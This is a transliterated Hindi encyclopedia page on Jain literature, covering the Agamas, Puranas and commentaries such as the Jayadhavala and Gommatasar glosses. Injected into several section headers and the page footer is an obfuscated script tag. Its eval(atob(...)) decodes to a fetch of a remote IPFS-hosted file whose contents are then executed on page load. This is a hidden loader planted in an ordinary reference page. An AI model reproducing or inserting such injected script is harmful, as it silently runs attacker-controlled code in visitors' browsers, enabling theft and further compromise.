जैन साहित्य

भारत डिस्कवरी प्रस्तुति
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jain puran sahity

aitihasik janakari hetu jain sahity bhi bauddh sahity ki hi tarah mahattvapoorn haian. ab tak upalabdh jain sahity prakrit evan sanskrit bhasha mean milatean hai. jain sahity ke visheshajn tatha anusandhanapoorn lekhak agarachand nahata the. jain sahity, jise ‘agam‘ kaha jata hai, inaki sankhya 12 batayi jati hai. age chalakar inake 'upaang' bhi likhe gaye . agamoan ke sath-sath jain granthoan mean 10 prakirn, 6 chhand sootr, ek nandi sootr ek anuyogadvar evan char moolasootr haian. in agam granthoan ki rachana sambhavatah shvetambar sampraday ke acharyo dvara mahavir svami ki mrityu ke bad ki gayi.

  • barah agam is prakar haian-

1. acharaang sutt, 2. sooryakadank, 3. thapang, 4. samavayaang, 5. bhagavatisootr, 6. nyayadhammakahao, 7. uvasagadasaoan, 8. antagadadasao, 9. anuttarovavaiyadasaoan, 10. panhavagaraniaee, 11. vivagasuyan, aur 12 dvitthivay.

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  • in agam grantho ke 'acharaangasoott' se jain bhikshuoan ke vidhi-nishedhoan evan achar-vicharoan ka vivaran evan 'bhagavatisootr' se mahavir svami ke jivan-shikshaoan adi ke bare mean upayukt janakari milati hai, jo is prakar haian- 1. aupapatik, 2. rajaprashniy, 3. jivabhigam, 4. prajnapana, 5. sooryaprajnapti, 6. jamboodvipaprajnapti, 7. chandaprajnapti, 8. niryavalika, 9. kalpavantasika, 10. pushpika, 11. pushpachoolika aur 12. vrishnidasha.
  • agam grannthoan ke atirikt 10 prakirn is prakar haian- 1. chatuahsharan, 2. atur pratyakhyan, 3. bhaktiparijna, 4. sanstar, 5. taandulavaitalik, 6. chandravedhyak, 7. ganitavidya, 8. devendrastav, 9. virastav aur 10.mahapratyakhyan.
  • chhedasootr ki sankhya 6 hai- 1. nishith, 2. mahanishith, 3. vyavahar, 4. acharadasha, 5. kalp aur 6. panchakalp adi.
  • ek nandi sootr evan ek anuyog dvara jain dharm anuyayiyoan ke svatantr granth evan vishvakosh haian.
  • jain sahity mean puranoan ka bhi mahattvapoorn sthan hai jinhean 'charit' bhi kaha jata hai. ye prakrit, sanskrit tatha apabhransh tinoan bhashaoan mean likhean gayean haian. inamean padm puran, harivansh puran, adi puran, ityadi ullekhaniy haian. jain puranoan ka samay chhathi shatabdi se solahavian-satravahian shatabdi tak nirdharit kiya gaya hai.
  • jain granthoan mean parishisht parv, bhadrabahucharit, avashyakasootr, acharaangasootr, bhagavatisootr, kalikapurana adi vishesh roop se ullekhaniy hai. inase aitihasik ghatanaoan ki soochana milati hai.

bharatiy dharmagranthoan mean 'puran' shabd ka prayog itihas ke arth mean ata hai. kitane vidvanoan ne itihas aur puran ko pancham ved mana hai. chanaky ne apane arthashastr mean itivritt, puran, akhyayika, udaharan, dharmashastr tatha arthashastr ka samavesh kiya hai. isase yah siddh hota hai ki itihas aur puran donoan hi vibhinn haian. itivritt ka ullekh saman hone par bhi donoan apani apani visheshata rakhate haian. itihas jahaan ghatanaoan ka varnan kar nirvrit ho jata hai vahaan puran unake parinam ki or pathak ka chitt akrisht karata hai.

sargashch pratisargashch vansho manvantarani ch.
vanshanucharitanyev puranan panchalakshanamh॥

jisamean sarg, pratisarg, vansh, manvantar aur vansh-paramparaoan ka varnan ho, vah puran hai. sarg, pratisarg adi puran ke paanch lakshan haian. tatpary yah ki itivritt keval ghatit ghatanaoan ka ullekh karata hai parantu puran mahapurushoan ke ghatit ghatanaoan ka ullekh karata hua unase prapt phalaphal puny-pap ka bhi varnan karata hai tatha vyakti ke charitr nirman ki apeksha bich-bich mean naitik aur dharmik shikshaoan ka pradarshan bhi karata hai. itivritt mean jahaan keval vartaman ki ghatanaoan ka ullekh rahata hai vahaan puran mean nayak ke atit aur anagat bhavoan ka bhi ullekh rahata hai aur vah isaliye ki janasadharan samajh sake ki mahapurush kaise bana ja sakata hai. avanat se unnat banane ke liye kya-kya tyag, paropakar aur tapasyaean karani p dati haian. manav ke jivan-nirman mean puran ka b da hi mahattvapoorn sthan hai. yahi karan hai ki usamean janasadharan ki shraddha aj bhi yathapoorv akshunn hai. age vistar mean padhean:- jain puran sahity

jain achar-mimaansa

  1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

jain dharm ke anusar adhyatmik vikas ki poornata hetu shravak ya grihasthadharm (shravakachar) poorvardh hai aur shraman ya munidharm (shramanachar) uttarardh. shramanadharm ki nianv grihasth dharm par mazaboot hoti hai. yahaan grihasth dharm ki mahattvapoorn bhoomika isalie bhi hai kyoanki shravakachar ki bhoomika mean ek samany grihasth tyag aur bhog-in donoan ko samanvayatmak drishti mean rakhakar adhyatmik vikas mean agrasar hota hai. at: prastut prasang mean sarvapratham shravakachar ka svaroop vivechan avashyak hai. age vistar mean padhean:- jain achar-mimaansa

gommat panjika

  1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  • achary nemichandr siddhant chakravarti (10vian shati) dvara prakrit bhasha mean likhit gommatasar par sarvapratham likhi gee yah ek sanskrit panjika tika hai.
  • isaka ullekh uttaravarti achary abhayachandr ne apani mandaprabodhini tika mean kiya hai.[1]
  • is panjika ki ekamatr upalabdh prati (san0 1560) pan. paramanand ji shastri ke pas rahi.
  • is tika ka praman paanch hazar shlok hai.
  • is prati mean kul patr 98 haian. age vistar mean padhean:- gommat panjika

gommatasar jivatattv pradipika

  • yah tika keshavavarni dvara rachit hai.
  • unhoanne ise sanskrit aur kann d donoan bhashaoan mean likha hai.
  • jaise virasen svami ne apani sanskrit prakrit mishrit dhavala tika dvara shatkhandagam ke rahasyoan ka udghatan kiya hai usi prakar keshavavarni ne bhi apani is jivatattv pradipika dvara jivakand ke rahasyoan ka udghatan kann d mishrit sanskrit mean kiya hai. age vistar mean padhean:- gommatasar jivatattv pradipika

jayadhaval tika

  1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  • achary virasen svami[2] ne dhavala ki poornata[3] ke pashchath shauraseni prakrit bhasha mean nibaddh achary gunadhar dvara virachit kasayapahud[4] ki tika jayadhavala ka kary aranbh kiya aur jivan ke aantim sat varshoan mean unhoanne usaka ek tihaee bhag likha. tatpashchath shak san0 745 mean unake divangat hone par shesh do tihaee bhag unake yogyatam shishy jinasenachary (shak san0 700 se 760) ne poora kiya. 21 varshoan ki sudirgh jnanasadhana ki avadhi mean yah likhi jakar shak san0 759 mean poori huee.
  • achary jinasen svami ne sarvapratham sanskrit mahakavy parshvabhyuday ki rachana[5] mean ki thi. inaki doosari prasiddh kriti 'mahapuran' hai. usake poorvabhag-'adipuran' ke 42 sarg hi ve bana pae the aur divangat ho ge. shesh ki poorti unake shishy gunabhadrachary ne ki.[6] age vistar mean padhean:- jayadhaval tika

jivatattv pradipika

  1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  • yah nemichandrakrit chaturth tika hai.
  • tisari tika ki tarah isaka nam bhi jivatattv pradipika hai.
  • yah keshavavarni ki karnatakavritti mean likhi gee sanskrit mishrit jivatattv pradipika ka hi sanskrit roopantar hai.
  • isake rachayita nemichandr siddhant chakravarti se bhinn aur uttaravarti nemichandr haian.
  • ye nemichandr jnanabhooshan ke shishy the.
  • gommatasar ke achchhe jnata the. inaka kann d tatha sanskrit donoan par saman adhikar hai. yadi inhoanne keshavavarni ki tika ko sanskrit roop nahian diya hota to pan. todaramal ji hindi mean likhi gee apani samyagjnanachandrika nahian likh pate.
  • ye nemichandr ganit ke bhi visheshajn the. age vistar mean padhean:- jivatattv pradipika
  • jain sahity ke kshetr mean jain sadhvi poojy ganinipramukh shri jnanamati mataji ne bisavian sadi mean ek kirtiman upasthit kiya hai. unhoanne nyay- vyakaran- chhand -alankar- siddhant- adhyatm- kavy- poojan adi sabhi prakar ka sahity racha hai. unaki 250 se adhik pustakean jamboodvip - hastinapur se prakashit huee haian. shatkhandagam granthoan par unhoanne 16 pustakoan ki siddhaantachintamani namak sanskrit tika likhakar achary shri virasenasvami ki yad ko taza kar diya hai. vartaman yug mean sanskrit tika likhane vali matr ek hi sadhvi haian. in granthoan ki hindi tika unaki shishya prajnashramani aryika shri chandanamati mataji ne kiya hai, jinaki 10 pustakean chhap chuki haian. unhean mangakar ap svadhyay kar sakate haian. sanskrit ki solahoan pustakean chhap chuki haian.

agam

  1. REDIRECTsaancha:mukhy<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
  • bhagavan mahavir ke upadesh jain dharm ke mool siddhant haian, jinhean 'agam' kaha jata hai.
  • ve ardhamagadhi prakrit bhasha mean haian . unhean acharaangadi barah 'aangoan' mean sankalit kiya gaya, jo 'dvadashang agam' kahe jate haian.
  • vaidik sanhitaoan ki bhaanti jain agam bhi pahale shrut roop mean hi the.
  • mahavir ji ke bad bhi kee shatabdiyoan tak unhean lipibaddh nahian kiya gaya tha.


panne ki pragati avastha
adhar
prarambhik
madhyamik
poornata
shodh

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tika tippani aur sandarbh

  1. ↑ mandaprabodhini gatha 83
  2. ↑ jayadhavala, pri0 1 prasta0 pri0 72.
  3. ↑ shak san0 738
  4. ↑ kashay prabhrit
  5. ↑ shak san0 700
  6. ↑ tadev pu0 1, pri0 73 .

sanbandhit lekh

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
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varnamala kramanusar lekh khoj

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script><script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

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